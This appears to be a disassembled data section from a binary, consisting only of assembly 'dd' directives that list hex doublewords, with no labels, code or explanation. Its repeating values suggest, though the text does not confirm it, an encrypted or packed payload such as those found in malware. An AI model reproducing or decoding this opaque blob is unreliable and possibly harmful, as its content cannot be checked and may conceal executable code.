		dd 0FEEE1FEFh, 0D7E7426Bh, 70E3F499h, 156699DBh, 1EA60132h
		dd 0A225A7ECh, 0F442E61Bh, 0DE1DE6EFh, 47071733h, 0CF906F80h
		dd 0F7E6CBC4h, 0A894084Fh, 1ED9712h, 11A2A116h,	659D91CAh
		dd 10860C3Dh, 94694432h, 15662227h, 156601DBh, 0F3CAF232h
		dd 4E6574D7h, 63B40D40h, 1551CA15h, 1A69B4E1h, 1566B4B6h
		dd 94004232h, 73CD88F4h, 744DD08Ch, 9169AD0Eh, 15662994h
		dd 97694152h, 15668832h, 0CA62FC6Ah, 2907123Ah,	0C1E21ED9h
		dd 0ED66883Dh, 9169A70Eh, 156621F7h, 7672AF52h,	0F6D0E9E2h
		dd 1A847853h, 15774DB6h, 2E41E32h, 75668832h, 1566C53Dh
		dd 1F8F2232h, 4E661132h, 0EE00E02Eh, 0C2E19B83h, 0EA9E43FCh
		dd 94393506h, 15668CF6h, 1E94B32h, 0FC662232h, 1566113Dh
		dd 22A6C9ADh, 4656D17Dh, 2744648h, 9E4C70CFh, 9C30AC2Eh
		dd 11A0C5D4h, 94662232h, 156615F4h, 31520F32h, 2199B86Eh
		dd 0D1E77B16h, 15661136h, 9400DB52h, 4D3438F1h,	156632DBh
		dd 0E753E532h, 0AED1FD1Ah, 0A0155199h, 0A3275F5Bh, 21ED70C1h
		dd 0F4EFD916h, 156285B3h, 0D4E52232h, 316A9636h, 1AA5746Eh
		dd 156654B5h, 1FE42D32h, 0FC661132h, 15668837h,	185A1E55h
		dd 0C0E3E539h, 1360A2BDh, 0FC668832h, 15664435h, 0F072C099h
		dd 0E9162E84h, 15663163h, 0E4674432h, 15669860h, 0DF671132h
		dd 4C3C92B8h, 4E85C452h, 9088A352h, 0FD6D8C80h,	15668838h
		dd 831FD3A5h, 48A6C59Dh, 743E7C94h, 0F9E57453h,	19EF2230h
		dd 35969716h, 0FC3F77D9h, 15668837h, 38CDF70Eh,	959DA26Eh
		dd 0EA6F943Dh, 926977CDh, 15664434h, 467D9552h,	0AA31706Bh
		dd 0EA9977CDh, 0FC39BA33h, 1566223Fh, 5E620F2Dh, 96B6BF19h
		dd 81D5535Ah, 0ACE3A934h, 1A60BD23h, 156685B3h,	0DADF2432h
		dd 1A47A106h, 156611B0h, 9269E932h, 1566443Ah, 1564A23Dh
		dd 74061132h, 15E31DB9h, 7D9A429Eh, 156650CBh, 9C422DBBh
		dd 4A9D01C5h, 15664CDBh, 0BA4B0632h, 5B982F46h,	13DFD9F8h
		dd 94664432h, 0D4603ED9h, 94AD1051h, 0D46094F1h, 459E1D51h
		dd 1566208Ah, 16B23C32h, 0E567D93Ch, 1B659037h,	4D7E2163h
		dd 0FCCCA152h, 1566883Dh, 0F2A8C05Bh, 492D5CBh,	71AEEC8Eh
		dd 7456765Ah, 97699C09h, 15662213h, 1ABC2ACAh, 0EA98CEB4h
		dd 7E34BCDh, 0FC662232h, 1566113Fh, 0DE6D7362h,	80AFE243h
		dd 3C0692B8h, 2DF4028h,	141C184Ch, 0EE4F1DF9h, 6B71C9B3h
		dd 58F6BA2h, 0CE668832h, 60CC0859h, 4A136203h, 0B1586B9Fh
		dd 425B665Bh, 1560FE60h, 0C2EF2232h, 4A9D3868h,	156699DBh
		dd 0A6DFB632h, 94902444h, 0E91A13D0h, 0BB6A20B3h, 0B800C041h
		dd 156631DBh, 0AB08C732h, 3E9A9635h, 6CE998C4h,	0B0A749ECh
		dd 4D3823BBh, 73062354h, 759FA4B3h, 0CCDD4452h,	8A8691CFh
		dd 4636E953h, 964240B9h, 0FC3D26F6h, 15661122h,	69704A4Bh
		dd 10449402h, 5874E89Ch, 55561D98h, 3E08799h, 0FC664432h
		dd 15662223h, 1D721696h, 6D6ADA19h, 116B932Eh, 0F892D142h
		dd 0CDDE71FBh, 7422DF8Fh
		dd 1562FC62h, 0D3672232h, 944215B9h, 15668CF6h,	1DE84B32h
		dd 1A662232h, 156613B9h, 9C07E832h, 9C9E600Eh, 0FC6A0646h
		dd 15661135h, 0B3B8F27Fh, 9C24045Ah, 0B96E8F87h, 1563F834h
		dd 28508832h, 0EAD8216Dh, 94390606h, 156615F6h,	0AB00E832h
		dd 138E62E1h, 75662232h, 711B9B72h, 4A07E8FDh, 3152BB53h
		dd 11A2A369h, 0E0661132h, 404284B9h, 0D0E7A1BBh, 15662236h
		dd 9262D4B1h, 1A3AAC1Eh, 156657B5h, 1568CB32h, 17C21132h
		dd 5461CFACh, 2C00C2AAh, 0A09FB76Ch, 474225B9h,	0D7E76ABBh
		dd 15664436h, 1562E0B3h, 1E11132h, 7306D416h, 991CB5B3h
		dd 11ADA354h, 9C367059h, 15628DD2h, 0D5E54432h,	61997236h
		dd 9A3E1516h, 753AAC36h, 7A8C554h, 1574CBF8h, 6A281132h
		dd 39F59383h, 0FDB8DACh, 2985D8B1h, 0D8978FD6h,	0CAAB6153h
		dd 138FBBCDh, 40662232h, 513F61B8h, 156D6115h, 0C59F4432h
		dd 219512C7h, 1473D009h, 0C0E34F47h, 1760F7BDh,	0E9662232h
		dd 1560F952h, 57718832h, 0F8E0E574h, 0F4AD1188h, 138F4B54h
		dd 0F4668832h, 68EEC9E2h, 0F9E74358h, 15661136h, 9C4284BBh
		dd 4CADCDC3h, 156FAB3Dh, 73061132h, 744C59B3h, 1A072552h
		dd 73062C84h, 749AC7B9h, 1AE671B2h, 15662DB1h, 1DE92D32h
		dd 1A661132h, 15668AB6h, 94072432h, 0E01E2AD9h,	0F7A59025h
		dd 1407606Bh, 0F78DC5F9h, 9407CA6Bh, 0E01E19F1h, 156C6125h
		dd 3D944432h, 0BEDD9547h, 7CD36227h, 15673260h,	0C6674432h
		dd 1DE12D68h, 75661132h, 1566033Dh, 0FC074432h,	15662294h
		dd 156600DBh, 286EAE32h, 9AD5A443h, 0E92FAC64h,	22DA526Eh
		dd 45006B19h, 0FCE6BB86h, 95870A58h, 4D007BF3h,	156698DBh
		dd 70806832h, 7FB4193Dh, 0A7620691h, 66897B8Bh,	0E297C345h
		dd 0E4E164E4h, 1561983Dh, 73068832h, 0A6B292B3h, 4031DA53h
		dd 29263A5Ah, 0D0E7D518h, 4153241Bh, 0B5CDD7B3h, 0FAEF6F43h
		dd 4A9FA96Fh, 156642DBh, 7A6C2132h, 4496FD81h, 2A372F8Bh
		dd 4CAD4532h, 0FEE7E91Bh, 15594095h, 156681DBh,	478AB132h
		dd 606568A5h, 1A8F07A2h, 2F668832h, 0F451061Ch,	50204C9Ch
		dd 275CC760h, 90EDF4A3h, 13CA558Bh, 90F3A9CBh, 7560BD32h
		dd 1560073Dh, 0DDE74432h, 71119C7h, 74077152h, 0A8E57053h
		dd 13CA6543h, 87E22D33h, 75661136h, 0B33546B3h,	2C076931h
		dd 97E42DF1h, 0EC661136h, 1AB5B1CBh, 0EA9C96B0h, 156BCBCDh
		dd 9A3A1132h, 67E987CBh, 0BF0A5309h, 0FC4C7E27h, 15661553h
		dd 156F6152h, 982A4432h, 0A037267Eh, 942AD3ADh,	17993C0h
		dd 90A12546h, 13D5ADE7h, 15661130h, 0E7EFDACAh,	0FC3C1F60h
		dd 15662220h, 7BF58C2Dh, 50EDE23h, 0A8DD95C2h, 4E740236h
		dd 966994B1h, 15668833h, 1BD04BCAh, 18E22DCBh, 0FC661132h
		dd 1566883Ah, 66DC5FA0h, 98A51E62h, 1AE6E8B2h, 1566FFB1h
		dd 0E2E72432h, 656AECDCh, 49879054h, 0D6E7E9C1h, 40186769h
		dd 3DF4C9B3h, 0DE675F00h, 3DF44BB3h, 0FEE70A00h, 40180169h
		dd 1575963Dh, 9F698832h, 1566443Fh, 15662ADBh, 65FDAB32h
		dd 730FC4F2h, 98DE14D8h, 0E242AB6Bh, 5DBEE6EAh,	5E6CCC1Fh
		dd 1086854Bh, 0DC8F2307h, 4DA51055h, 128E7052h,	0F3664432h
		dd 83CF9781h, 0FDE7C3EDh, 13458218h, 6B8F256Dh,	0EC662232h
		dd 0CDD34061h, 0EB6065F2h, 95ABBAF7h, 0FEEE26DFh, 4EBF396Bh
		dd 0AA007052h, 44079ABAh, 9E423EC5h, 0D1E7353Eh, 15668836h
		dd 0C6DF2252h, 0AA697016h, 40074AE9h, 6E107F8Fh, 0B9ABC51Eh
		dd 4467BE26h, 462B5D8Bh, 5EA7096Ah, 147B50F6h, 0D0E77BFFh
		dd 49FE695Bh, 753B6113h, 0A26986B9h, 0FEE743E5h, 66893C04h
		dd 0AA31431Bh, 6D3469DDh, 2478EDB3h, 0E2E77A41h, 1DFA98FBh
		dd 0ED39BF33h, 0ACE3A9CAh, 1A60BD23h, 15668FBDh, 14EA4B32h
		dd 0E9662232h, 15E384B9h, 9C698E9Eh, 1566443Dh,	1563CB52h
		dd 4DC71132h, 9541847Dh, 960716ECh, 0B947538Fh,	91691034h
		dd 15668AFFh, 1ABE7FCEh, 15660AB0h, 156FF832h, 0B8D88832h
		dd 1ACA5DD1h, 752AF6AAh, 0C4D91E52h, 7307D760h,	2C079AB9h
		dd 0E9E02DE1h, 7599EECAh, 4BBA3962h, 0C4DF1553h, 0D4466524h
		dd 0F4E716D3h, 4C2A5FEh, 9E97C57Bh, 547D2C4Bh, 0BB6CD0B3h
		dd 0DB676D43h, 19EE4B6Bh, 1A662232h, 156617BBh,	15E38732h
		dd 47664432h, 9D699561h, 0C5EE4AC8h, 73067168h,	0BC2293B3h
		dd 15662BDAh, 0E8AB6532h, 0FFEDD5DDh, 0D2ED5C83h, 1ACC436Bh
		dd 15661DBAh, 13E48732h, 1A664432h, 156622B9h, 7D334132h
		dd 2EF289DBh, 0AEABC56Fh, 5074E971h, 569AFCB3h,	0FDEFB3EDh
		dd 9F96456Fh, 91697A3Ah, 15661139h, 15E18752h, 1A664432h
		dd 0EC07D08Dh, 0D59DA463h, 0F8E68ADFh, 87D016F4h, 25FCCCB2h
		dd 0FDEE4BC7h, 1560616Bh, 89914432h, 0DE2DC6A5h, 1AD14254h
		dd 9E007112h, 0D1E5602Eh, 93694230h, 15661120h,	156684DAh
		dd 917DA032h, 42ECB012h, 0E4E8DFFFh, 1D07D16Fh,	75CCB1FAh
		dd 7435D0B2h, 1696FAB3h, 0FEE7DC11h, 9746070h, 0D6E7D91Bh
		dd 9743570h, 16964BB3h,	1A8F1011h, 55662232h, 0BBED086h
		dd 0F89DFA7Dh, 0E1A4F384h, 0F9E5F3C0h, 31729836h, 15668C88h
		dd 4FB56D32h, 0B6DF4452h, 4507E478h, 9EDD061h, 11A2C516h
		dd 0E9662232h, 1575F899h, 77B38832h, 674276CDh,	0DD658DC0h
		dd 0F46BF388h, 461BBB56h, 0AB301663h, 125D1F10h, 393AE7B3h
		dd 0FBA7DB94h, 3888C531h, 9C6CB190h, 0C3674FC0h, 156C6168h
		dd 9C534432h, 0B2906610h, 4CCE753Ah, 1DCB3DBBh,	7306429Eh
		dd 9069F5B9h, 15661126h, 156686DAh, 928E2E32h, 0C9EB7E74h
		dd 2FC2001Eh, 4AFA43FAh, 64E38353h, 14608E13h, 75661132h
		dd 1563083Dh, 94004432h, 732996E9h, 4207CEB9h, 0D2E76FBBh
		dd 15664436h, 15629961h, 0CA671132h, 315A0F69h,	2E24B6Eh
		dd 0FC662232h, 15661120h, 31AF8FCDh, 0E645D8B1h, 5BC4708Bh
		dd 29AEB474h, 21993429h, 0D1E71F16h, 15662236h,	1560F852h
		dd 7B978832h, 0F6F66C55h, 0EA076780h, 963F3506h, 73068CF6h
		dd 15BAACB3h, 156628DAh, 0AA6EF932h, 1F810192h,	0FCEB5F69h
		dd 1566223Bh, 0DAF59D23h, 0ADD4957Dh, 47071C1Fh, 0D7E7C0BBh
		dd 15661136h, 47624AB1h, 114230CDh, 3162AD68h, 1576F86Eh
		dd 22FB8832h, 286749B0h, 0C1D326C2h, 72F4C659h,	99693C2Eh
		dd 1566443Ah, 1564A93Dh, 74061132h, 943BDC67h, 156640F7h
		dd 11A3A132h, 49423DB5h, 0C5EDEE52h, 473C95B3h,	750763F2h
		dd 0DBD11E65h, 0D2D18768h, 0CCCFAD53h, 9569DDCDh, 15661133h
		dd 20DBDDCBh, 9463395Bh, 680F16C7h, 48883837h, 9B69E852h
		dd 15664432h, 1566A23Dh, 74071132h, 344EE054h, 3172CD54h
		dd 0C5EECB80h, 1E8F4B54h, 20668832h, 0CFAE58Eh,	0A5ACB6C5h
		dd 138F1F12h, 55668832h, 0A0F99AF7h, 9E6988CFh,	15661121h
		dd 0FD1B3B52h, 1566443Bh, 55380806h, 0B5842EAAh, 1A07D2A0h
		dd 15664DBEh, 4A354232h, 3B979054h, 9E30E9E7h, 0D1E56036h
		dd 1561CB36h, 0A52E1132h, 0F6A95F2Ch, 984BB1B1h, 3C28A61Ah
		dd 37DC43CAh, 945C9313h, 1D509CD8h, 94BCD528h, 4A6C16D0h
		dd 108C496Ah, 0D5EB86B3h, 0C56769F3h, 4334E968h, 15668C8Ch
		dd 4B94CD32h, 1A3CF21Bh, 156610BDh, 94697D32h, 1566443Eh
		dd 1560A93Dh, 94691132h, 15668832h, 0E6ED2499h,	759C4A53h
		dd 21EF1132h, 94800116h
		dd 156640F4h, 11A0A132h, 494225B5h, 15669BDBh, 8C327132h
		dd 4248AB5Bh, 55F67EA3h, 4ED476E8h, 9E2CEBD1h, 40423EB9h
		dd 0D0E7F4BBh, 15668836h, 156281B3h, 39E12232h,	42064D16h
		dd 0E274BA8Dh, 1F8E1A50h, 6D662232h, 942159CDh,	0CB9EBF3h
		dd 1561AC12h, 40DB2232h, 151DFC0Ch, 743CD045h, 4C4270CDh
		dd 1A62E6B1h, 156605BDh, 0FC9AE832h, 1566443Eh,	72AE047Eh
		dd 741CEFE0h, 0D3991EBBh, 3152CF53h, 1086AB62h,	15661136h
		dd 926248B1h, 753A6036h, 3F4E9954h, 74ADA63Dh, 943DDC61h
		dd 156640F1h, 11A5A132h, 49420DB5h, 0AA940952h,	9E6065B3h
		dd 398F43C9h, 0FC99EEE9h, 1566883Ch, 4B6EF5C8h,	0B60EED64h
		dd 0EF0FE93Fh, 90A18153h, 13D5CBE7h, 15662237h,	1576F952h
		dd 1A538832h, 3359F8B9h, 0D133C13Bh, 27A38D7Fh,	0CDDFE9F0h
		dd 4C5784A7h, 2890A354h, 0F9E5700Eh, 31520136h,	3E54B69h
		dd 0FC662232h, 15661123h, 352EBAA9h, 0BEB92144h, 0BFBE1F6Bh
		dd 4274B55Bh, 11DCDAD7h, 14664432h, 3172A9E1h, 1562D5B3h
		dd 479E8832h, 15664488h, 16942332h, 31729A28h, 15624CB3h
		dd 75064432h, 1A59ECB2h, 156611BEh, 0EEEDE932h,	0ACE3CF53h
		dd 1A608E23h, 156608B1h, 15726132h, 7CE74432h, 32E9C873h
		dd 0FF9ADE18h, 2E477FCEh, 0A41D580Eh, 80EDEB6Dh, 13CA11B7h
		dd 14DBDDCEh, 3C664432h, 95067FDCh, 0EDED69E7h,	0CDB0B53h
		dd 1460E82Ch, 13ADA63Dh, 48F1132h, 45668832h, 0E7482E0Dh
		dd 0DAD3A381h, 0A9E17F63h, 0D49AB429h, 1573C23Dh, 58F2232h
		dd 8C661132h, 2D9F0674h, 7D6201DAh, 0CA258FACh,	2EE8640Bh
		dd 3EE487EAh, 0FC664432h, 15662222h, 1D1A5F2Ah,	3E86591h
		dd 88CBACE2h, 694EC9Bh,	9369CB09h, 15668979h, 15664DDBh
		dd 36A26132h, 0A47A4369h, 0A0EF0988h, 13CA4C9Fh, 15662EDBh
		dd 0FFA20D32h, 93ADD2C6h, 0C7DA3455h, 0C0FBA987h, 1A60A2BDh
		dd 156680B9h, 17EA4B32h, 75662232h, 31229053h, 5D481C3Eh
		dd 310AC54Eh, 364A6D3Eh, 313A1010h, 3122093Eh, 364A0B3Eh
		dd 310AA310h, 5D48853Eh, 7306E84Eh, 18F94B9h, 5A662232h
		dd 0B4192AFh, 50484AEh,	76D1E9B8h, 76E7FB87h, 749D422Dh
		dd 156D6152h, 80D54432h, 7E7FCACEh, 0FA0F26E8h,	0FC07E9BBh
		dd 156641D3h, 1573A03Dh, 0FD061132h, 15668835h,	159A29A2h
		dd 4DC70A1Ch, 0F11CF0B3h, 0EA07CB23h, 94396006h, 156626F6h
		dd 0CEE77132h, 5C5021B9h, 74ADFB3Dh, 0B7FA7F5h,	1567179Eh
		dd 0EA9F8832h, 963D6006h, 68F26F6h, 0F4661132h,	0EC7C9BA5h
		dd 9C17405Eh, 71A1F534h, 7394C2BBh, 2199CA5Fh, 0D1E71D16h
		dd 15662236h, 156618DBh, 5298E132h, 3A664795h, 21995642h
		dd 0D1E54F16h, 9E00E836h, 9C3325CBh, 11D975D7h,	14661132h
		dd 0D0E5D7CFh, 314AC336h, 14E62D6Eh, 0ED661132h, 0EAB316DBh
		dd 18FB1CDh, 5E662232h,	498AAED6h, 9BDF3FE1h, 859D9358h
		dd 911AC84Eh, 96694281h, 0B947F98Fh, 91694534h,	1566272Fh
		dd 4B934252h, 156686DAh, 605E9832h, 7A9DC675h, 2B35A568h
		dd 1A429FF1h, 156644B1h, 3E077832h, 0B977A8AFh,	156E6134h
		dd 0C11C4432h, 6EA00D54h, 98EDD111h, 13CAA07Fh,	9BA7C5CEh
		dd 94585742h, 0D727BEF3h, 94BF8962h, 0D727EBDBh, 9B8FA362h
		dd 75586442h, 4007D061h, 9F3FDA8Fh, 1393A30Eh, 0E2708549h
		dd 228309EFh, 503C2361h, 83A3A377h, 14D72F8Eh, 0EC4FD5DBh
		dd 18DEADB3h, 0AB062392h, 2A501B99h, 74AE0354h,	156643DBh
		dd 84245A32h, 1F52E51Eh, 7F03765h, 0F2A70571h, 0E2B9D53Ah
		dd 1789D0EDh, 0D2E75FC5h, 5A2E1B4h, 0ED39DB1Bh,	0E323A463h
		dd 95B37EEFh, 0A6358FF7h, 4EBB12D4h, 1A3FF9BAh,	156689B4h
		dd 0FCCCBD32h, 15662237h, 190F9389h, 1560618Bh,	0BC9F4432h
		dd 0E6C5C4F0h, 9E3E4062h, 0D1E5AC3Eh, 1ACDB136h, 156631B0h
		dd 1568F832h, 32488832h, 0DC58DD71h, 3BA80FAFh,	0F11000BCh
		dd 94810165h, 156640F5h, 11A1A132h, 3112EE65h, 11E9D736h
		dd 188F1816h, 55662232h, 60548740h, 0E5B52FBh, 0FCD3B76Dh
		dd 43423EB9h, 0D3E7F7BBh, 15668836h, 926282B1h,	753A0606h
		dd 0BA2AE54h, 156D6153h, 4C724432h, 8AE30062h, 9CB36EA0h
		dd 315277B0h, 11A2C76Bh, 138EDE52h, 0F1661132h,	76C8B47Fh
		dd 90ACFA90h, 743D361Fh, 4B4225CDh, 75624CB1h, 6B15C08Ah
		dd 7D07DB12h, 15667AAAh, 9C4284BBh, 11A7C5D3h, 96662232h
		dd 19E115F3h, 1A06D416h, 156642B8h, 28B4A332h, 9E225647h
		dd 0E18FE9F4h, 0FC99BBE4h, 1566223Eh, 93AB0E4Fh, 2C549AB3h
		dd 8D5F4C70h, 156628DBh, 0AA066732h, 8574B7BAh,	0D23C25FFh
		dd 0A6E9F7B7h, 15661334h, 156A6132h, 74284432h,	0F8DD8327h
		dd 4E5A9944h, 9C3776B7h, 9EADCDC3h, 0D1E7063Eh,	15661136h
		dd 1572023Dh, 95694432h, 1566223Ch, 156618DBh, 929E4332h
		dd 0FEB061E4h, 7506DB7Dh, 4507D3B9h, 55F27E88h,	1A071D48h
		dd 9A692C84h, 15661133h, 959F08CEh, 1514C73Dh, 9C692232h
		dd 1566113Ah, 1564003Dh, 74064432h, 6A95E1B3h, 0D6E723CEh
		dd 595CA7C1h, 0FEE78F33h, 595C0DC1h, 6A95FAB3h,	68FBACEh
		dd 72664432h, 0BDE241CAh, 0DA29004Bh, 768A9C79h, 9CDF8CAAh
		dd 0AD3699ECh, 15661133h, 753E4B33h, 0D380FBCAh, 0FC0700A3h
		dd 156611A9h, 1570073Dh, 48F4432h, 0E1662232h, 54BCD486h
		dd 0B5B5FFC7h, 6B5F826Fh, 7BA660F3h, 1562FDB3h,	1EF8832h
		dd 3D99F616h, 730678E3h, 0D48D8B3h, 7D0770B9h, 15664432h
		dd 0B34226B3h, 3C68B86Dh, 39E7AC3Eh, 0BC39E216h, 0ED067B3Ch
		dd 0E30EE953h, 9C668809h, 0EADC6026h, 34662232h, 759E4BE3h
		dd 940057B9h, 7475FCEAh, 6ADEE1B3h, 0FEE70350h,	4E979F0Ch
		dd 0D6E78F1Bh, 4E97350Ch, 6ADEFAB3h, 91699A50h,	15664421h
		dd 156BAF3Dh, 1D8F1132h, 0DD668832h, 63486238h,	9E60CF79h
		dd 0B977A8B7h, 9D697034h, 15664425h, 1577A53Dh,	198F1132h
		dd 0B6668832h, 0D374C950h, 9C9A6612h, 9E701509h, 0B9660DA7h
		dd 1E8FBD34h, 60662232h, 34C63637h, 0E97C243Ch,	0C38FB835h
		dd 0FC99DDC8h, 1566113Fh, 0DA630515h, 59BAE993h, 40C51277h
		dd 156CF836h, 0DEB98832h, 443289E7h, 761EBB97h,	9AB394F5h
		dd 15648E81h, 73064432h, 188FE8B9h, 5D661132h, 0BB500BC4h
		dd 0C96D6AC7h, 9A08CBC0h, 118A9253h, 4E42BCBBh,	15664DDBh
		dd 0C16E832h, 0F41E2651h, 0A3693BDBh, 9969243Ch, 15662233h
		dd 17E91ECEh, 45668832h, 0ECE6256Ah, 49E52DB2h,	0E9661132h
		dd 0AB83260h, 0CF915534h, 79D6E0B3h, 0F7B71145h, 0CC304AB3h
		dd 0C667C7E1h, 94AD2368h, 0A314EBD9h, 0AA317D50h, 522F0AF8h
		dd 6E3BC5B3h, 0FAE721F5h, 500BCFA1h, 0E82CB3B3h, 0EE4F6719h
		dd 156BF86Dh, 8DC68832h, 0C40B0BADh, 0C1FDBC9Ch, 0FC0BF253h
		dd 15668855h, 1567C63Dh, 739E2232h, 7367785Ah, 0A7429CBBh
		dd 73B76CCDh, 3EA2D68h,	75661132h, 1566083Dh, 1C8F4432h
		dd 5C662232h, 75E9FC38h, 0E8C9C4ECh, 0E2BFC353h, 54BFA5E1h
		dd 14E61ECBh, 0E9668832h, 1599FF61h, 0CC472232h, 96420DB9h
		dd 9C698CF6h, 15664433h, 39DF73CBh, 141A2677h, 0DE4FD1F9h
		dd 504AAFB3h, 9E9A5E05h, 0B977A8B7h, 0FE88734h,	1A664432h
		dd 156636B7h, 1569F832h, 0F5388832h, 0BFB795D4h, 1C158BAAh
		dd 514F43C4h, 90F30345h
		dd 0E060E832h, 34179FB1h, 1A67179Eh, 0EA9184B6h, 0CD5DB8CDh
		dd 1548A03Dh, 78F1132h,	83668832h, 0F4643D59h, 1340D0A1h
		dd 375F4314h, 0D8241466h, 1AB57DB9h, 0EA8B1CB4h, 1CEA1ECDh
		dd 75668832h, 5C95C554h, 74B0A9BCh, 0EA99A962h,	0D36777CDh
		dd 1569AD6Ah, 9A412232h, 80BD2C28h, 4754BD06h, 0FCD7191Fh
		dd 0A8337451h, 278C1D10h, 1142E41Bh, 0D4E71D6Fh, 278C2E10h
		dd 15679E3Dh, 949E8832h, 5528A6F3h, 0E7A7A337h,	3C795B07h
		dd 0E78F09CBh, 94790E07h, 5528C0DBh, 0D5E77137h, 304D0C57h
		dd 861FB60h, 743F2724h,	0AFD84765h, 0AA0E9469h,	7D7A1F8Dh
		dd 3C38D51Bh, 9E064ECBh, 0D6EDEEC0h, 34D51753h,	0F6B6F9C4h
		dd 95AAD2B2h, 9D37D7F1h, 4C8ECCEFh, 1563CB69h, 38FF1132h
		dd 0BF831DA0h, 24AE75CEh, 75AE13F3h, 15669F3Dh,	0BE078832h
		dd 13EC4B52h, 94662232h, 3AD7E4C4h, 2CD8DF4Bh, 4E278EDEh
		dd 0C7BBCB53h, 9A69EECDh, 15668835h, 1567CB3Dh,	479F2232h
		dd 1566115Ah, 0E767D232h, 0FC3C46B8h, 1566223Eh, 0E17970Fh
		dd 0C85F3F61h, 0A2EE384h, 9169CA0Eh, 1566117Ah,	156687DBh
		dd 0F6DCEF32h, 0E3D8ED4Eh, 26B5695Bh, 61DDE10h,	152BBE5Ah
		dd 314AAB32h, 0DB74D48Fh, 8993091Eh, 94532A67h,	7F7550FFh
		dd 94B3E67Ch, 0FF31F4F7h, 488ECD6Dh, 14D4CBCEh,	108F1132h
		dd 50668832h, 4509958Eh, 15158E5Ah, 317A9832h, 15669ADBh
		dd 5C98D732h, 0B09289BEh, 0A011567Ch, 47BCD457h, 434AA277h
		dd 0E1E9D65h, 694F487Eh, 4E398C16h, 0E1E87B3h, 1A067B7Eh
		dd 156617BFh, 0E8870932h, 1A771AC5h, 7D07F985h,	1566303Eh
		dd 0AD428CBBh, 15664433h, 0D65D233h, 19E71E6Ah,	1A668832h
		dd 156642B0h, 15E42D32h, 44661132h, 15668D8Bh, 878DC532h
		dd 14675C16h, 87A590F9h, 4C67F616h, 1567C33Dh, 0A59E2232h
		dd 98D04349h, 0D3E656C4h, 60A0C4A1h, 9578E4B2h,	0E566E5C4h
		dd 4337E868h, 0BF071F6Ch, 156624DBh, 0F4D42D32h, 9473AE11h
		dd 0D161DCF1h, 27A5A361h, 3C5D3C7Dh, 278D09C9h,	945D697Dh
		dd 0D161BAD9h, 13EA1E61h, 75668832h, 74065082h,	11DE7253h
		dd 94661132h, 0E93770F1h, 94A56D3Bh, 0E937DAD9h, 1C8F493Bh
		dd 69668832h, 547C8F2Ch, 27C89F07h, 0D657C903h,	9A695003h
		dd 1566443Fh, 15662ADBh, 0E8EAEA32h, 84EDDAAAh,	9769EF89h
		dd 1566223Ah, 1564933Dh, 74068832h, 474258B9h, 0D7E7C0BBh
		dd 15661136h, 15624AB3h, 1E14432h, 99697E16h, 1566113Ch
		dd 156681DBh, 0D6F19532h, 4F5E094Ch, 0AE356425h, 15668837h
		dd 642082B3h, 0CB672125h, 6420FFB3h, 1A3D8B25h,	156653BEh
		dd 1574CB32h, 0E1031132h, 52BED83Dh, 0CAD9C923h, 22CAC377h
		dd 9C153829h, 7958E060h, 1ED3D28h, 11A2A316h, 94661132h
		dd 0CE4C2BC0h, 0E7E70E15h, 4BA764AFh, 1A3CC1BBh, 156683BEh
		dd 1560AD32h, 0EBED2232h, 0DC3CC3h, 12E587F1h, 1A664432h
		dd 156623BBh, 4F0EE432h, 9C668804h, 9A69603Eh, 15662235h
		dd 1567933Dh, 739E8832h, 940072CDh, 303F061Eh, 31629A54h
		dd 73644CB1h, 0FC431D37h, 1566223Ah, 0BD36EEE2h, 0FDB01887h
		dd 9169870Eh, 1566237Ch, 1AAD2DCEh, 1567CDB6h, 0AA692432h
		dd 0CADD44F1h, 96697095h, 15668823h, 0FC072452h, 1566223Ah
		dd 752215E3h, 3F867A4Fh, 1AA47853h, 15675AB6h, 1568F832h
		dd 2D068832h, 9F1B2C0Bh, 0E93C85DAh, 419022F5h,	9169420Eh
		dd 1566456Fh, 0EA5B44CAh, 6AE21E17h, 75668833h,	156656DAh
		dd 17A25632h, 40AE454Ch, 18A6BF29h, 6F394875h, 4751A9FAh
		dd 1B8F496Ch, 28668832h, 0B10FEEEAh, 0C2837520h, 262DFD6Eh
		dd 2800E988h, 9069BB1Ch, 15662250h, 1561993Dh, 9F698832h
		dd 15664433h, 28C4ACBh,	1EF1132h, 15643216h, 0E7674432h
		dd 0FC3C20B8h, 1566113Ah, 5B96C59h, 0B157D5D3h,	0D5D07054h
		dd 0CB90C7C4h, 0E3444EB2h, 3888C4ECh, 4F00D212h, 156605DBh
		dd 122D8832h, 3847F537h, 0EFBCD658h, 6B0BBBC6h,	0CBE62B9Fh
		dd 1AC678DEh, 15670AB6h, 19EDE432h, 0F7EFDA16h,	156286B3h
		dd 0D7E52232h, 31729636h, 1575616Eh, 53EA4432h,	8BD27569h
		dd 0E4D573F3h, 0C050C0FAh, 0EAEDB4B8h, 94D975D7h, 0AD72A432h
		dd 1D388B3h, 29EDBC1Bh,	11A2A316h, 0EC661132h, 1567F3DBh
		dd 1576AD32h, 2EFA2232h, 0D5B27D9Bh, 280374F2h,	8C3122FEh
		dd 0DC578528h, 1575903Dh, 97698832h, 1566443Fh,	15662ADBh
		dd 68675C32h, 84E58FDBh, 0B2D81271h, 0D477A657h, 0E3E714D4h
		dd 1F5D8D39h, 554EA2B3h, 0FBE72237h, 33C2044Ch,	0FFCD66B3h
		dd 0E44F9D52h, 0BD8FDA6Ch, 0FC661132h, 15668823h, 9A98A515h
		dd 45F474D9h, 9D0CD857h, 59FFD952h, 5F90FD42h, 0D4E728E6h
		dd 15661133h, 0A06A49B3h, 7306B119h, 0C6E7D5B9h, 30228436h
		dd 15176153h, 128F4432h, 0CA662232h, 76B1533Ch,	130EE4A7h
		dd 9E664432h, 0D1E5063Eh, 14E51E36h, 0E9668832h, 156656DBh
		dd 8DB4D332h, 4D789A73h, 32B5C490h, 0F475D09Ch,	0FC61B680h
		dd 15661105h, 0A8D1E852h, 15664EDBh, 0CF2C7E32h, 0CF719842h
		dd 74B37709h, 0AC371253h, 15662235h, 9C3FDFBBh,	1A06D6C3h
		dd 156640BBh, 20DE4432h, 16E81EF6h, 1A668832h, 0E6078285h
		dd 0AA694296h, 98ED70F4h, 13CA88B7h, 0F6A1C552h, 74204328h
		dd 9069D8B7h, 1566883Ah, 90D3CDCAh, 0E9608E32h,	40421DB9h
		dd 0D0E76DBBh, 15664436h, 9262E7B1h, 1A3A351Eh,	156689B2h
		dd 7D35B132h, 138007ADh, 94420DB9h, 15668CF6h, 2385C532h
		dd 94646236h, 53888D1h,	7CA5096Fh, 947D4305h, 125D5AC1h
		dd 4EBE9829h, 156C0D3Dh, 108F4432h, 0C3662232h,	8B330CEAh
		dd 14E387F1h, 0ED664432h, 7350DD54h, 964215B9h,	0FC068AF6h
